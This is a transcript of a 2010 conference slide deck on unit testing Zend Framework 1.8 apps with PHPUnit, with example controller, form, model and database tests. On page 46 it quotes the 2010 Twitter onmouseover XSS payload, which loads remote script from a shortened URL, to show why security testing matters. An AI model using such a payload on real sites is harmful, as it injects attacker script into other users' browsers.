Unit testing after Zend Framework 1.8

79
Unit Testing after ZF 1.8 Michelangelo van Dam ZendCon 2010, Santa Clara, CA (USA)

description

Zend Framework 1.8 changed internally, making it easier to fully test your controllers, forms, models and datatabase integration with PHPUnit.

Transcript of Unit testing after Zend Framework 1.8

Page 1: Unit testing after Zend Framework 1.8

Unit Testing after ZF 1.8Michelangelo van Dam

ZendCon 2010, Santa Clara, CA (USA)

Page 2: Unit testing after Zend Framework 1.8

Michelangelo van Dam• Independent Consultant

• Zend Certified Engineer (ZCE)

• President of PHPBenelux

Page 3: Unit testing after Zend Framework 1.8

This session

What has changed with ZF 1.8 ?How do we set up our environment ?

How are we testing controllers ?How are we testing forms ?

How are we testing models ?

Page 4: Unit testing after Zend Framework 1.8

New to unit testing ?

Page 5: Unit testing after Zend Framework 1.8

phpunit.de

http://www.phpunit.de

Page 6: Unit testing after Zend Framework 1.8

Matthew Weier O’Phinney

http://www.slideshare.net/weierophinney/testing-zend-framework-applications

Page 8: Unit testing after Zend Framework 1.8

Zend Framework 1.8

Page 9: Unit testing after Zend Framework 1.8

Birth of Zend_Application

• bootstrapping an “app”• works the same for any environment• resources through methods (no registry)• clean separation of tests- unit tests- controller tests- integration tests (db, web services, …)

Page 10: Unit testing after Zend Framework 1.8

Types of tests

Page 11: Unit testing after Zend Framework 1.8

Unit Testing

• smallest functional code snippet (unit)- function or class method• aims to challenge logic- proving A + B gives C (and not D)• helpful for refactoring• essential for bug fixing (is it really a bug ?)• TDD results in better code• higher confidence for developers -> managers

Page 12: Unit testing after Zend Framework 1.8

Controller Testing

• tests your (ZF) app- is this url linked to this controller ?• detects early errors- on front-end (route/page not found)- on back-end (database changed, service down, …)• tests passing back and forth of params• form validation and filtering• security testing (XSS, SQL injection, …)

Page 13: Unit testing after Zend Framework 1.8

Database Testing

• tests the functionality of your database- referred to as “integration testing”• checks functionality- CRUD- stored procedures- triggers and constraints• verifies no mystery data changes happen- UTF-8 in = UTF-8 out

Page 14: Unit testing after Zend Framework 1.8

Application Testing

Page 15: Unit testing after Zend Framework 1.8

Setting things up

Page 16: Unit testing after Zend Framework 1.8

phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite>

<!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>

<logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging></phpunit>

Page 17: Unit testing after Zend Framework 1.8

TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');

// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();

Page 18: Unit testing after Zend Framework 1.8

TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');

// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();

Page 19: Unit testing after Zend Framework 1.8

ControllerTestCase.php<?phprequire_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';

abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase{ protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module }}

Page 20: Unit testing after Zend Framework 1.8

Directory Strategy/application /configs /controllers /forms /models /modules /guestbook /apis /controllers /forms /models /views /helpers /filters /scripts /views /helpers /filters /scripts/library/public/tests

/tests /application /controllers /forms /models /modules /guestbook /apis /controllers /forms /models

Page 21: Unit testing after Zend Framework 1.8

Testing Controllers

Page 22: Unit testing after Zend Framework 1.8

Homepage testing<?php// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';

class IndexControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); }}

Page 23: Unit testing after Zend Framework 1.8

Running the tests

Page 24: Unit testing after Zend Framework 1.8

testdox.html

Page 25: Unit testing after Zend Framework 1.8

Code coverage

Page 26: Unit testing after Zend Framework 1.8

Testing Forms

Page 27: Unit testing after Zend Framework 1.8

Guestbook form

fullName

emailAddress

website

comment

submit

Page 28: Unit testing after Zend Framework 1.8

Simple comment form<?phpclass Application_Form_Comment extends Zend_Form{ public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); }}

Page 29: Unit testing after Zend Framework 1.8

CommentController<?php

class CommentController extends Zend_Controller_Action{ protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); }

public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; }}

Page 30: Unit testing after Zend Framework 1.8

Comment processing<?php

class CommentController extends Zend_Controller_Action{ …

public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; }}

Page 31: Unit testing after Zend Framework 1.8

Views<!-- file: application/views/scripts/comment/index.phtml -->

<?php echo $this->form ?>

<!-- file: application/views/scripts/comment/send-comment.phtml --><dl><?php if (isset ($this->values['website'])): ?><dt id="fullName"><a href="<?php echo $this->escape($this->values['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></dt><?php else: ?><dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt><?php endif; ?><dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd></dl>

Page 32: Unit testing after Zend Framework 1.8

The Form

Page 33: Unit testing after Zend Framework 1.8

Comment processed

Page 34: Unit testing after Zend Framework 1.8

And now… testing

Page 35: Unit testing after Zend Framework 1.8

Starting simple<?php

// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';

class CommentControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); $this->assertQueryCount('textarea', 1); }}

$this->assertQueryCount('form', 1);$this->assertQueryCount('input[type="text"]', 3);$this->assertQueryCount('textarea', 1);

Page 36: Unit testing after Zend Framework 1.8

GET request = index ?public function testSubmitFailsWhenNotPost()

{ $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}

Page 37: Unit testing after Zend Framework 1.8

Can we submit our form ?public function testCanWeSubmitOurForm(){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment');

$this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test');}

Page 38: Unit testing after Zend Framework 1.8

All other cases ?/** * @dataProvider wrongDataProvider */public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}

Page 39: Unit testing after Zend Framework 1.8

wrongDataProviderpublic function wrongDataProvider()

{ return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', '[email protected]', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', '[email protected]', str_repeat('a', 50001)), );}

Page 40: Unit testing after Zend Framework 1.8

Running the tests

Page 41: Unit testing after Zend Framework 1.8

Our testdox.html

Page 42: Unit testing after Zend Framework 1.8

Code Coverage

Page 43: Unit testing after Zend Framework 1.8

Practical use

Page 44: Unit testing after Zend Framework 1.8

September 21, 2010

Page 46: Unit testing after Zend Framework 1.8

The exploit

http://t.co/@”style=”font-size:999999999999px; ”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/

http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/

Page 47: Unit testing after Zend Framework 1.8

Unit Testing (models)

Page 48: Unit testing after Zend Framework 1.8

Guestbook Models

Page 49: Unit testing after Zend Framework 1.8

Testing models

• uses core PHPUnit_Framework_TestCase class• tests your business logic !• can run independent from other tests• model testing !== database testing- model testing tests the logic in your objects- database testing tests the data storage

Page 50: Unit testing after Zend Framework 1.8

Model setUp/tearDown<?phprequire_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase{ protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } …}

Page 51: Unit testing after Zend Framework 1.8

Simple testspublic function testGuestBookIsEmptyAtConstruct(){ $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb));}public function testGuestbookAddsEntry(){ $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('[email protected]') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb));}

Page 52: Unit testing after Zend Framework 1.8

GuestbookEntry tests…public function gbEntryProvider(){ return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => '[email protected]', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), );}

/** * @dataProvider gbEntryProvider * @param $data */public function testEntryCanBePopulatedAtConstruct($data){ $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray());}…

Page 53: Unit testing after Zend Framework 1.8

Running the tests

Page 54: Unit testing after Zend Framework 1.8

Our textdox.html

Page 55: Unit testing after Zend Framework 1.8

Code Coverage

Page 56: Unit testing after Zend Framework 1.8

Database Testing

Page 57: Unit testing after Zend Framework 1.8

Database Testing

• integration testing- seeing records are getting updated- data models behave as expected- data doesn't change encoding (UTF-8 to Latin1)• database behaviour testing- CRUD- stored procedures- triggers- master/slave - cluster- sharding

Page 58: Unit testing after Zend Framework 1.8

Caveats

• database should be reset in a “known state”- no influence from other tests• system failures cause the test to fail- connection problems• unpredictable data fields or types- auto increment fields- date fields w/ CURRENT_TIMESTAMP

Page 59: Unit testing after Zend Framework 1.8

Converting modelTest

Page 60: Unit testing after Zend Framework 1.8

Model => database<?php

require_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase{…}

Becomes

<?phprequire_once TEST_PATH . '/DatabaseTestCase.php';class Application_Model_GuestbookEntryTest extends DatabaseTestCase{…}

Page 61: Unit testing after Zend Framework 1.8

DatabaseTestCase.php<?php

require_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';

abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase{ private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } …

Page 62: Unit testing after Zend Framework 1.8

DatabaseTestCase.php (2) …

public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); }}

Page 63: Unit testing after Zend Framework 1.8

_files/initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?>

<dataset> <gbentry id="1" fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan… liking this very much"/> …</dataset>

Page 64: Unit testing after Zend Framework 1.8

A simple DB testpublic function testNewEntryPopulatesDatabase()

{ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds);}

Page 65: Unit testing after Zend Framework 1.8

location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml

Page 66: Unit testing after Zend Framework 1.8

Running the tests

Page 67: Unit testing after Zend Framework 1.8

Our textdox.html

Page 68: Unit testing after Zend Framework 1.8

CodeCoverage

Page 69: Unit testing after Zend Framework 1.8

Changing recordspublic function testNewEntryPopulatesDatabase(){ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds );}

Page 70: Unit testing after Zend Framework 1.8

Expected resultset<?xml version="1.0" encoding="UTF-8"?><dataset> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="[email protected]" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/></dataset>

Page 71: Unit testing after Zend Framework 1.8

location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml

Page 72: Unit testing after Zend Framework 1.8

Running the tests

Page 73: Unit testing after Zend Framework 1.8

The testdox.html

Page 74: Unit testing after Zend Framework 1.8

CodeCoverage

Page 75: Unit testing after Zend Framework 1.8

Testing strategies

Page 76: Unit testing after Zend Framework 1.8

Desire vs Reality

• desire- +70% code coverage- test driven development- clean separation of tests

• reality- test what counts first (business logic)- discover the “unknowns” and test them- combine unit tests with integration tests

Page 77: Unit testing after Zend Framework 1.8

Automation

• using a CI system- continuous running your tests- reports immediately when failure- provides extra information‣ copy/paste detection‣ mess detection &dependency calculations‣ lines of code‣ code coverage‣ story board and test documentation‣ …

Page 78: Unit testing after Zend Framework 1.8

• http://slideshare.net/DragonBe/unit-testing-after-zf-18• http://github.com/DragonBe/zfunittest

• http://twitter.com/DragonBe• http://facebook.com/DragonBe

• http://joind.in/2243

Questions